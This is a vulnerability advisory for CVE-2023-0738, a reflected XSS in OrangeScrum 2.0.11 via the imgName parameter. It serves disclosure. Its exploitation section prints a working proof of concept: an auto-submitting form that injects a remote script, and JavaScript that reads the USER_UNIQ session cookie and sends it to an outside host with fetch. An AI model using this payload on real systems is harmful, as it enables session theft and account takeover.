OrangeScrum 2.0.11 - Reflected XSS via imgName

Summary


Name	OrangeScrum 2.0.11 - Reflected XSS via imgName
Code name	Eilish
Product	OrangeScrum
Affected versions	2.0.11
State	Public
Release date	2023-04-10

Vulnerability


Kind	Reflected cross-site scripting (XSS)
Rule	008. Reflected cross-site scripting (XSS)
Remote	Yes
CVSSv3.1 Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
CVSSv3.1 Base Score	7.3
Exploit available	No
CVE ID(s)	CVE-2023-0738

Description

OrangeScrum version 2.0.11 allows an external attacker to obtain arbitrary user accounts from the application. This is possible because the application returns malicious user input in the response with the content-type set to text/html.

Vulnerability

This vulnerability occurs because the application returns malicious user input in the response with the content-type set to text/html.

Exploitation

To exploit this vulnerability, we only need to send the following malicious HTML code to an application user.

Exploit.html

<!DOCTYPE html> <html> <body> <form action="https://retr02332bughunter.orangescrum.com/users/done_cropimage" method="POST"> <input type="hidden" name="x-cord" value="10" /> <input type="hidden" name="y-cord" value="10" /> <input type="hidden" name="width" value="10" /> <input type="hidden" name="height" value="10" /> <input type="hidden" name="imgName" value="<script type='text/javascript' src='https://retr02332.com/exploit-utils.js'></script>"/> </form> <script> document.forms[0].submit(); </script> </body> </html>

The malicious JavaScript that we embed in the page is as follows.

Exploit-utils.js

function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
}

let sessionCookie = `USER_UNIQ=${getCookie("USER_UNIQ")}`;

fetch("https://retr02332.com/leak?"+sessionCookie);